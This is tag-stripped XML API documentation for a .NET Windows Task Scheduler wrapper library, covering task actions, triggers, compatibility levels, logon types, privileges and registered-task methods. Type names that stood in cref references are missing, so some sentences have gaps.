actions of all types. If not specified, only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the target computer. + If set to (which is the default value), then and references will be converted to their PowerShell equivalents on systems on or after Windows 8 / Server 2012. + If set to , then any actions not supported by the Task Scheduler version will be converted to PowerShell. + + + + + Gets or sets an XML-formatted version of the collection. + + + + + Gets or sets a an action at the specified index. + + The zero-based index of the action to get or set. + + + + Gets or sets a specified action from the collection. + + + The . + + The id () of the action to be retrieved. + + Specialized instance. + + + + + Mismatching Id for action and lookup. + + + + Adds an action to the task. + + A type derived from . + A derived class. + The bound that was added to the collection. + + + + Adds an to the task. + + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + The bound that was added to the collection. + + + + Adds a new instance to the task. + + Type of task to be created + Specialized instance. + + + + Adds a collection of actions to the end of the . + + The actions to be added to the end of the . The collection itself cannot be null and cannot contain null elements. + is null. + + + + Clears all actions from the task. + + + + + Determines whether the contains a specific value. + + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + + Determines whether the specified action type is contained in this collection. + + Type of the action. + + true if the specified action type is contained in this collection; otherwise, false. + + + + + Copies the elements of the to an array of , starting at a particular index. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + The zero-based index in array at which copying begins. + + + + Copies the elements of the to an array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + The array that is the destination of the elements copied from . The array must have zero-based indexing. + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first occurrence within the entire collection. + + The delegate that defines the conditions of the to search for. + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Retrieves an enumeration of each of the actions. + + Returns an object that implements the interface and that can iterate through the objects within the . + + + + Determines the index of a specific item in the . + + The object to locate in the . + + The index of if found in the list; otherwise, -1. + + + + + Determines the index of a specific item in the . + + The id () of the action to be retrieved. + + The index of if found in the list; otherwise, -1. + + + + + Inserts an action at the specified index. + + The zero-based index at which action should be inserted. + The action to insert into the list. + + + + Removes the first occurrence of a specific object from the . + + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . + + + + + Removes the action at a specified index. + + Index of action to remove. + Index out of range. + + + + Copies the elements of the to a new array. + + An array containing copies of the elements of the . + + + + Returns a that represents the actions in this collection. + + + A that represents the actions in this collection. + + + + + Functions to provide localized strings for enumerated types and values. + + + + + Gets a string representing the localized value of the provided enum. + + The enum value. + A localized string, if available. + + + + Pair of name and value. + + + + + Occurs when a property has changed. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the name. + + + The name. + + + + + Gets or sets the value. + + + The value. + + + + + Clones this instance. + + A copy of an unbound . + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Implements the operator implicit NameValuePair. + + The KeyValuePair. + + The result of the operator. + + + + + Contains a collection of name-value pairs. + + + + + Occurs when the collection has changed. + + + + + Occurs when a property has changed. + + + + + Copies current to another. + + The destination collection. + + + + Releases all resources used by this class. + + + + + Gets the number of items in the collection. + + + + + Gets a collection of the names. + + + The names. + + + + + Gets a collection of the values. + + + The values. + + + + + Gets the value of the item at the specified index. + + The index of the item being requested. + The value of the name-value pair at the specified index. + + + + Gets the value of the item with the specified name. + + Name to get the value for. + Value for the name, or null if not found. + + + + Adds an item to the . + + The object to add to the . + + + + Adds a name-value pair to the collection. + + The name associated with a value in a name-value pair. + The value associated with a name in a name-value pair. + + + + Adds the elements of the specified collection to the end of . + + The collection of whose elements should be added to the end of . + + + + Clears the entire collection of name-value pairs. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Removes the name-value pair with the specified key from the collection. + + The name associated with a value in a name-value pair. + true if item successfully removed; false otherwise. + + + + Removes a selected name-value pair from the collection. + + Index of the pair to remove. + + + + Gets the value associated with the specified name. + + The name whose value to get. + When this method returns, the value associated with the specified name, if the name is found; otherwise, null. This parameter is passed uninitialized. + true if the collection contains an element with the specified name; otherwise, false. + + + + Gets the collection enumerator for the name-value collection. + + An for the collection. + + + + Abstract class for throwing a method specific exception. + + + + Defines the minimum supported version for the action not allowed by this exception. + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Gets a message that describes the current exception. + + + + + Gets the minimum supported TaskScheduler version required for this method or property. + + + + + Gets the object data. + + The information. + The context. + + + + Thrown when the calling method is not supported by Task Scheduler 1.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Initializes a new instance of the class. + + The message. + + + + Thrown when the calling method is not supported by Task Scheduler 2.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Thrown when the calling method is not supported by Task Scheduler versions prior to the one specified. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + A strongly-typed resource class, for looking up localized strings, etc. + + + + + Returns the cached ResourceManager instance used by this class. + + + + + Overrides the current thread's CurrentUICulture property for all + resource lookups using this strongly typed resource class. + + + + + Looks up a localized string similar to Call a COM object. + + + + + Looks up a localized string similar to Start a program. + + + + + Looks up a localized string similar to Send an e-mail. + + + + + Looks up a localized string similar to Display a message. + + + + + Looks up a localized string similar to {3} {0:P}. + + + + + Looks up a localized string similar to every day. + + + + + Looks up a localized string similar to {1} {0}. + + + + + Looks up a localized string similar to .. + + + + + Looks up a localized string similar to The date and time a trigger expires must be later than the time time it starts or is activated.. + + + + + Looks up a localized string similar to {0} {1}. + + + + + Looks up a localized string similar to -. + + + + + Looks up a localized string similar to ,. + + + + + Looks up a localized string similar to every month. + + + + + Looks up a localized string similar to Multiple actions defined. + + + + + Looks up a localized string similar to Multiple triggers defined. + + + + + Looks up a localized string similar to {0}. + + + + + Looks up a localized string similar to Author. + + + + + Looks up a localized string similar to Disabled. + + + + + Looks up a localized string similar to Queued. + + + + + Looks up a localized string similar to Ready. + + + + + Looks up a localized string similar to Running. + + + + + Looks up a localized string similar to Unknown. + + + + + Looks up a localized string similar to any user. + + + + + Looks up a localized string similar to At system startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to At {0:t} every day. + + + + + Looks up a localized string similar to At {0:t} every {1} days. + + + + + Looks up a localized string similar to indefinitely. + + + + + Looks up a localized string similar to for a duration of {0}. + + + + + Looks up a localized string similar to for {0}. + + + + + Looks up a localized string similar to Trigger expires at {0:G}.. + + + + + Looks up a localized string similar to Custom event filter. + + + + + Looks up a localized string similar to On event - Log: {0}. + + + + + Looks up a localized string similar to , Source: {0}. + + + + + Looks up a localized string similar to , EventID: {0}. + + + + + Looks up a localized string similar to When computer is idle. + + + + + Looks up a localized string similar to At log on of {0}. + + + + + Looks up a localized string similar to At {0:t} on day {1} of {2}, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} on {1} {2:f} each {3}, starting {0:d}. + + + + + Looks up a localized string similar to When the task is created or modified. + + + + + Looks up a localized string similar to After triggered, repeat every {0} {1}.. + + + + + Looks up a localized string similar to Every {0} {1}.. + + + + + Looks up a localized string similar to On local connection to {0}.. + + + + + Looks up a localized string similar to On local disconnect from {0}.. + + + + + Looks up a localized string similar to On remote connection to {0}.. + + + + + Looks up a localized string similar to On remote disconnect from {0}.. + + + + + Looks up a localized string similar to On workstation lock of {0}.. + + + + + Looks up a localized string similar to On workstation unlock of {0}.. + + + + + Looks up a localized string similar to user session of {0}. + + + + + Looks up a localized string similar to At {0:t} on {0:d}. + + + + + Looks up a localized string similar to At startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to Daily. + + + + + Looks up a localized string similar to On an event. + + + + + Looks up a localized string similar to On idle. + + + + + Looks up a localized string similar to At log on. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to At task creation/modification. + + + + + Looks up a localized string similar to On state change. + + + + + Looks up a localized string similar to One time. + + + + + Looks up a localized string similar to Weekly. + + + + + Looks up a localized string similar to At {0:t} every {1} of every week, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} every {1} of every {2} weeks, starting {0:d}. + + + + + Looks up a localized string similar to every. + + + + + Looks up a localized string similar to fifth. + + + + + Looks up a localized string similar to first. + + + + + Looks up a localized string similar to fourth. + + + + + Looks up a localized string similar to last. + + + + + Looks up a localized string similar to second. + + + + + Looks up a localized string similar to third. + + + + + Some string values of properties can be set to retrieve their value from existing DLLs as a resource. This class facilitates creating those reference strings. + + + + + Initializes a new instance of the class. + + The DLL path. + The resource identifier. + + + + Gets or sets the resource file path. This can be a relative path, full path or lookup path (e.g. %SystemRoot%\System32\ResourceName.dll). + + + The resource file path. + + + + + Gets or sets the resource identifier. + + The resource identifier. + + + + Performs an implicit conversion from to . + + The value. + The result of the conversion. + + + + Parses the input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + A new instance on success or null on failure. + is null + is not in the format "$(@ [Dll], [ResourceID])" + + + + Tries to parse to input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + The resource reference to be returned. On failure, this value equals null. + A new instance on success or null on failure. + + + + Gets the result of pulling the string from the resource file using the identifier. + + from resource file. + cannot be found. + Unable to load or string identified by . + + + + Returns a in the format required by the Task Scheduler to reference a string in a DLL. + + A formatted in the format $(@ [Dll], [ResourceID]). + + + Defines what versions of Task Scheduler or the AT command that the task is compatible with. + + + The task is compatible with the AT command. + + + The task is compatible with Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + Items not available when compared to V2: + + TaskDefinition.Principal.GroupId - All account information can be retrieved via the UserId property. + TaskLogonType values Group, None and S4U are not supported. + TaskDefinition.Principal.RunLevel == TaskRunLevel.Highest is not supported. + Assigning access security to a task is not supported using TaskDefinition.RegistrationInfo.SecurityDescriptorSddlForm or in RegisterTaskDefinition. + TaskDefinition.RegistrationInfo.Documentation, Source, URI and Version properties are only supported using this library. See details in the remarks for . + TaskDefinition.Settings.AllowDemandStart cannot be false. + TaskDefinition.Settings.AllowHardTerminate cannot be false. + TaskDefinition.Settings.MultipleInstances can only be IgnoreNew. + TaskDefinition.Settings.NetworkSettings cannot have any values. + TaskDefinition.Settings.RestartCount can only be 0. + TaskDefinition.Settings.StartWhenAvailable can only be false. + TaskDefinition.Actions can only contain ExecAction instances unless the TaskDefinition.Actions.PowerShellConversion property has the Version1 flag set. + TaskDefinition.Triggers cannot contain CustomTrigger, EventTrigger, SessionStateChangeTrigger, or RegistrationTrigger instances. + TaskDefinition.Triggers cannot contain instances with delays set. + TaskDefinition.Triggers cannot contain instances with ExecutionTimeLimit or Id properties set. + TaskDefinition.Triggers cannot contain LogonTriggers instances with the UserId property set. + TaskDefinition.Triggers cannot contain MonthlyDOWTrigger instances with the RunOnLastWeekOfMonth property set to true. + TaskDefinition.Triggers cannot contain MonthlyTrigger instances with the RunOnDayWeekOfMonth property set to true. + + + + + The task is compatible with Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + This version is the baseline for the new, non-file based Task Scheduler. See remarks for functionality that was + not forward-compatible. + + + + The task is compatible with Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + Changes from V2: + + TaskDefinition.Principal.ProcessTokenSidType can be defined as a value other than Default. + TaskDefinition.Actions may not contain EmailAction or ShowMessageAction instances unless the TaskDefinition.Actions.PowerShellConversion property has + the Version2 flag set. + TaskDefinition.Principal.RequiredPrivileges can have privilege values assigned. + TaskDefinition.Settings.DisallowStartOnRemoteAppSession can be set to true. + TaskDefinition.UseUnifiedSchedulingEngine can be set to true. + + + + + The task is compatible with Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + Changes from V2_1: + + TaskDefinition.Settings.MaintenanceSettings can have Period or Deadline be values other than TimeSpan.Zero or the Exclusive property set to true. + TaskDefinition.Settings.Volatile can be set to true. + + + + + The task is compatible with Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + Changes from V2_2: + + None published. + + + + + Defines how the Task Scheduler service creates, updates, or disables the task. + + + The Task Scheduler service registers the task as a new task. + + + + The Task Scheduler service either registers the task as a new task or as an updated version if the task already exists. Equivalent to Create | Update. + + + + + The Task Scheduler service registers the disabled task. A disabled task cannot run until it is enabled. For more information, see Enabled Property of + TaskSettings and Enabled Property of RegisteredTask. + + + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. When the + TaskFolder.RegisterTaskDefinition or TaskFolder.RegisterTask functions are called with this flag to update a task, the Task Scheduler service does + not add the ACE for the new context principal and does not remove the ACE from the old context principal. + + + + + The Task Scheduler service creates the task, but ignores the registration triggers in the task. By ignoring the registration triggers, the task will + not execute when it is registered unless a time-based trigger causes it to execute on registration. + + + + + The Task Scheduler service registers the task as an updated version of an existing task. When a task with a registration trigger is updated, the task + will execute after the update occurs. + + + + + The Task Scheduler service checks the syntax of the XML that describes the task but does not register the task. This constant cannot be combined with + the Create, Update, or CreateOrUpdate values. + + + + Defines how the Task Scheduler handles existing instances of the task when it starts a new instance of the task. + + + Starts new instance while an existing instance is running. + + + Starts a new instance of the task after all other instances of the task are complete. + + + Does not start a new instance if an existing instance of the task is running. + + + Stops an existing instance of the task before it starts a new instance. + + + Defines what logon technique is required to run a task. + + + The logon method is not specified. Used for non-NT credentials. + + + Use a password for logging on the user. The password must be supplied at registration time. + + + + Use an existing interactive token to run a task. The user must log on using a service for user (S4U) logon. When an S4U logon is used, no password is + stored by the system and there is no access to either the network or to encrypted files. + + + + User must already be logged on. The task will be run only in an existing interactive session. + + + Group activation. The groupId field specifies the group. + + + Indicates that a Local System, Local Service, or Network Service account is being used as a security context to run the task. + + + + First use the interactive token. If the user is not logged on (no interactive token is available), then the password is used. The password must be + specified when a task is registered. This flag is not recommended for new tasks because it is less reliable than Password. + + + + Defines which privileges must be required for a secured task. + + + Required to create a primary token. User Right: Create a token object. + + + Required to assign the primary token of a process. User Right: Replace a process-level token. + + + Required to lock physical pages in memory. User Right: Lock pages in memory. + + + Required to increase the quota assigned to a process. User Right: Adjust memory quotas for a process. + + + Required to read unsolicited input from a terminal device. User Right: Not applicable. + + + Required to create a computer account. User Right: Add workstations to domain. + + + + This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this privilege. User Right: + Act as part of the operating system. + + + + + Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege identifies its holder as a + security operator. User Right: Manage auditing and the security log. + + + + + Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be set only to those + values that the holder may legitimately assign as the owner of an object. User Right: Take ownership of files or other objects. + + + + Required to load or unload a device driver. User Right: Load and unload device drivers. + + + Required to gather profiling information for the entire system. User Right: Profile system performance. + + + Required to modify the system time. User Right: Change the system time. + + + Required to gather profiling information for a single process. User Right: Profile single process. + + + Required to increase the base priority of a process. User Right: Increase scheduling priority. + + + Required to create a paging file. User Right: Create a pagefile. + + + Required to create a permanent object. User Right: Create permanent shared objects. + + + + Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless of the access + control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. This privilege is required by the + RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this privilege is held: READ_CONTROL, ACCESS_SYSTEM_SECURITY, + FILE_GENERIC_READ, FILE_TRAVERSE. User Right: Back up files and directories. + + + + + Required to perform restore operations. This privilege causes the system to grant all write access control to any file, regardless of the ACL + specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, this privilege enables you to set any + valid user or group security identifier (SID) as the owner of a file. This privilege is required by the RegLoadKey function. The following access + rights are granted if this privilege is held: WRITE_DAC, WRITE_OWNER, ACCESS_SYSTEM_SECURITY, FILE_GENERIC_WRITE, FILE_ADD_FILE, + FILE_ADD_SUBDIRECTORY, DELETE. User Right: Restore files and directories. + + + + Required to shut down a local system. User Right: Shut down the system. + + + Required to debug and adjust the memory of a process owned by another account. User Right: Debug programs. + + + Required to generate audit-log entries. Give this privilege to secure servers. User Right: Generate security audits. + + + + Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. User Right: Modify firmware + environment values. + + + + + Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all traversal access checks. It + is enabled by default for all users. User Right: Bypass traverse checking. + + + + Required to shut down a system by using a network request. User Right: Force shutdown from a remote system. + + + Required to undock a laptop. User Right: Remove computer from docking station. + + + + Required for a domain controller to use the LDAP directory synchronization services. This privilege allows the holder to read all objects and + properties in the directory, regardless of the protection on the objects and properties. By default, it is assigned to the Administrator and + LocalSystem accounts on domain controllers. User Right: Synchronize directory service data. + + + + + Required to mark user and computer accounts as trusted for delegation. User Right: Enable computer and user accounts to be trusted for delegation. + + + + Required to enable volume management privileges. User Right: Manage the files on a volume. + + + + Required to impersonate. User Right: Impersonate a client after authentication. Windows XP/2000: This privilege is not supported. Note that this + value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + + Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is enabled by default for + administrators, services, and the local system account. User Right: Create global objects. Windows XP/2000: This privilege is not supported. Note + that this value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + Required to access Credential Manager as a trusted caller. User Right: Access Credential Manager as a trusted caller. + + + Required to modify the mandatory integrity level of an object. User Right: Modify an object label. + + + Required to allocate more memory for applications that run in the context of users. User Right: Increase a process working set. + + + Required to adjust the time zone associated with the computer's internal clock. User Right: Change the time zone. + + + Required to create a symbolic link. User Right: Create symbolic links. + + + + Defines the types of process security identifier (SID) that can be used by tasks. These changes are used to specify the type of process SID in the + IPrincipal2 interface. + + + + No changes will be made to the process token groups list. + + + + A task SID that is derived from the task name will be added to the process token groups list, and the token default discretionary access control list + (DACL) will be modified to allow only the task SID and local system full control and the account SID read control. + + + + A Task Scheduler will apply default settings to the task process. + + + Defines how a task is run. + + + The task is run with all flags ignored. + + + The task is run as the user who is calling the Run method. + + + The task is run regardless of constraints such as "do not run on batteries" or "run only if idle". + + + The task is run using a terminal server session identifier. + + + The task is run using a security identifier. + + + Defines LUA elevation flags that specify with what privilege level the task will be run. + + + Tasks will be run with the least privileges. + + + Tasks will be run with the highest privileges. + + + + Defines what kind of Terminal Server session state change you can use to trigger a task to start. These changes are used to specify the type of state + change in the SessionStateChangeTrigger. + + + + + Terminal Server console connection state change. For example, when you connect to a user session on the local computer by switching users on the computer. + + + + + Terminal Server console disconnection state change. For example, when you disconnect to a user session on the local computer by switching users on + the computer. + + + + + Terminal Server remote connection state change. For example, when a user connects to a user session by using the Remote Desktop Connection program + from a remote computer. + + + + + Terminal Server remote disconnection state change. For example, when a user disconnects from a user session while using the Remote Desktop Connection + program from a remote computer. + + + + Terminal Server session locked state change. For example, this state change causes the task to run when the computer is locked. + + + Terminal Server session unlocked state change. For example, this state change causes the task to run when the computer is unlocked. + + + Options for use when calling the SetSecurityDescriptorSddlForm methods. + + + No special handling. + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. + + + Defines the different states that a registered task can be in. + + + The state of the task is unknown. + + + The task is registered but is disabled and no instances of the task are queued or running. The task cannot be run until it is enabled. + + + Instances of the task are queued. + + + The task is ready to be executed, but no instances are queued or running. + + + One or more instances of the task is running. + + + + Specifies how the Task Scheduler performs tasks when the computer is in an idle condition. For information about idle conditions, see Task Idle Conditions. + + + + Gets or sets a value that indicates the amount of time that the computer must be in an idle state before the task is run. + + A value that indicates the amount of time that the computer must be in an idle state before the task is run. The minimum value is one minute. If this + value is TimeSpan.Zero, then the delay will be set to the default of 10 minutes. + + + + + Gets or sets a Boolean value that indicates whether the task is restarted when the computer cycles into an idle condition more than once. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will terminate the task if the idle condition ends before the task is completed. + + + + + Gets or sets a value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. If no value is specified for + this property, then the Task Scheduler service will wait indefinitely for an idle condition to occur. + + + A value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. The minimum time allowed is 1 minute. If + this value is TimeSpan.Zero, then the delay will be set to the default of 1 hour. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Specifies the task settings the Task scheduler will use to start task during Automatic maintenance. + + + + Gets or sets the amount of time after which the Task scheduler attempts to run the task during emergency Automatic maintenance, if the task failed to + complete during regular Automatic maintenance. The minimum value is one day. The value of the property should be greater than + the value of the property. If the deadline is not specified the task will not be started during emergency Automatic maintenance. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a value indicating whether the Task Scheduler must start the task during the Automatic maintenance in exclusive mode. The exclusivity is + guaranteed only between other maintenance tasks and doesn't grant any ordering priority of the task. If exclusivity is not specified, the task is + started in parallel with other maintenance tasks. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + Gets or sets the amount of time the task needs to be started during Automatic maintenance. The minimum value is one minute. + Property set for a task on a Task Scheduler version prior to 2.2. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Provides the settings that the Task Scheduler service uses to obtain a network profile. + + + Gets or sets a GUID value that identifies a network profile. + Not supported under Task Scheduler 1.0. + + + Gets or sets the name of a network profile. The name is used for display purposes. + Not supported under Task Scheduler 1.0. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Provides the methods to get information from and control a running task. + + + Gets the process ID for the engine (process) which is running the task. + Not supported under Task Scheduler 1.0. + + + Gets the name of the current action that the running task is performing. + + + Gets the GUID identifier for this instance of the task. + + + Gets the operational state of the running task. + + + Releases all resources used by this class. + + + Refreshes all of the local instance variables of the task. + Thrown if task is no longer running. + + + + Provides the methods that are used to run the task immediately, get any running instances of the task, get or set the credentials that are used to + register the task, and the properties that describe the task. + + + + Gets the definition of the task. + + + Gets or sets a Boolean value that indicates if the registered task is enabled. + + As of version 1.8.1, under V1 systems (prior to Vista), this property will immediately update the Disabled state and re-save the current task. If + changes have been made to the , then those changes will be saved. + + + + Gets an instance of the parent folder. + A object representing the parent folder of this task. + + + Gets a value indicating whether this task instance is active. + true if this task instance is active; otherwise, false. + + + Gets the time the registered task was last run. + Returns if there are no prior run times. + + + Gets the results that were returned the last time the registered task was run. + The value returned is the last exit code of the last program run via an . + + + + Gets the time when the registered task is next scheduled to run. + Returns if there are no future run times. + + Potentially breaking change in release 1.8.2. For Task Scheduler 2.0, the return value prior to 1.8.2 would be Dec 30, 1899 if there were no future + run times. For 1.0, that value would have been DateTime.MinValue. In release 1.8.2 and later, all versions will return + DateTime.MinValue if there are no future run times. While this is different from the native 2.0 library, it was deemed more appropriate to + have consistency between the two libraries and with other .NET libraries. + + + + Gets the number of times the registered task has missed a scheduled run. + Not supported under Task Scheduler 1.0. + + + Gets the path to where the registered task is stored. + + + + Gets a value indicating whether this task is read only. Only available if + is true. + + true if read only; otherwise, false. + + + Gets or sets the security descriptor for the task. + The security descriptor. + + + Gets the operational state of the registered task. + + + Gets or sets the that manages this task. + The task service. + + + Gets the name of the registered task. + + + Gets the XML-formatted registration information for the registered task. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, + follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Exports the task to the specified file in XML. + Name of the output file. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current task. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current task. + + + Gets all instances of the currently running registered task. + A with all instances of current task. + Not supported under Task Scheduler 1.0. + + + + Gets the last registration time, looking first at the value and then looking for the most recent registration + event in the Event Log. + + of the last registration or if no value can be found. + + + Gets the times that the registered task is scheduled to run during a specified time. + The starting time for the query. + The ending time for the query. + The requested number of runs. A value of 0 will return all times requested. + The scheduled times that the task will run. + + + Gets the security descriptor for the task. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the task. + Not supported under Task Scheduler 1.0. + + + + Updates the task with any changes made to the by calling + from the currently registered folder using the currently registered name. + + Thrown if task was previously registered with a password. + + + Runs the registered task immediately. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. Run()). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + + Runs the registered task immediately using specified flags and a session identifier. + Defines how the task is run. + + The terminal server session in which you want to start the task. + + If the value is not passed into the parameter, then the value specified in this + parameter is ignored.If the value is passed into the flags parameter and the sessionID value is less than or + equal to 0, then an invalid argument error will be returned. + + + If the value is passed into the parameter and the sessionID value is a valid session + ID greater than 0 and if no value is specified for the user parameter, then the Task Scheduler service will try to start the task interactively as + the user who is logged on to the specified session. + + + If the value is passed into the parameter and the sessionID value is a valid session + ID greater than 0 and if a user is specified in the user parameter, then the Task Scheduler service will try to start the task interactively as the + user who is specified in the user parameter. + + + The user for which the task runs. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. RunEx(0, 0, "MyUserName")). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + This method will return without error, but the task will not run if the AllowDemandStart property of ITaskSettings is set to false for the task. + + If RunEx is invoked from a disabled task, it will return null and the task will not be run. + + Not supported under Task Scheduler 1.0. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current task. + + Give read access to all authenticated users for a task. + + + + + + + Sets the security descriptor for the task. Not available to Task Scheduler 1.0. + The security descriptor for the task. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + Dynamically tries to load the assembly for the editor and displays it as editable for this task. + true if editor returns with OK response; false otherwise. + + The Microsoft.Win32.TaskSchedulerEditor.dll assembly must reside in the same directory as the Microsoft.Win32.TaskScheduler.dll or in the GAC. + + + + Shows the property page for the task (v1.0 only). + + + Stops the registered task immediately. + + The Stop method stops all instances of the task. + + System account users can stop a task, users with Administrator group privileges can stop a task, and if a user has rights to execute and read a task, + then the user can stop the task. A user can stop the task instances that are running under the same credentials as the user account. In all other + cases, the user is denied access to stop the task. + + + + + Returns a that represents this instance. + A that represents this instance. + + + Gets the ITaskDefinition for a V2 task and prevents the errors that come when connecting remotely to a higher version of the Task Scheduler. + The local task service. + The task instance. + if set to true this method will throw an exception if unable to get the task definition. + A valid ITaskDefinition that should not throw errors on the local instance. + Unable to get a compatible task definition for this version of the library. + + + Contains information about the compatibility of the current configuration with a specified version. + + + Gets the compatibility level. + The compatibility level. + + + Gets the property name with the incompatibility. + The property name. + + + Gets the reason for the incompatibility. + The reason. + + + Defines all the components of a task, such as the task settings, triggers, actions, and registration information. + + + Gets a collection of actions that are performed by the task. + + + + Gets or sets the data that is associated with the task. This data is ignored by the Task Scheduler service, but is used by third-parties who wish to + extend the task format. + + + For V1 tasks, this library makes special use of the SetWorkItemData and GetWorkItemData methods and does not expose that data stream directly. + Instead, it uses that data stream to hold a dictionary of properties that are not supported under V1, but can have values under V2. An example of + this is the value which is stored in the data stream. + + The library does not provide direct access to the V1 work item data. If using V2 properties with a V1 task, programmatic access to the task using the + native API will retrieve unreadable results from GetWorkItemData and will eliminate those property values if SetWorkItemData is used. + + + + + Gets the lowest supported version that supports the settings for this . + + + Gets a collection of triggers that are used to start a task. + + + Gets or sets the XML-formatted definition of the task. + + + Gets the principal for the task that provides the security credentials for the task. + + + + Gets a class instance of registration information that is used to describe a task, such as the description of the task, the author of the task, and + the date the task is registered. + + + + Gets the settings that define how the Task Scheduler service performs the task. + + + Gets the XML Schema file for V1 tasks. + The for V1 tasks. + An object containing the XML Schema for V1 tasks. + + + Determines whether this can use the Unified Scheduling Engine or if it contains unsupported properties. + + if set to true throws an with details about unsupported properties in the Data property of the exception. + + + true if this can use the Unified Scheduling Engine; otherwise, false. + + + Releases all resources used by this class. + + + Validates the current . + if set 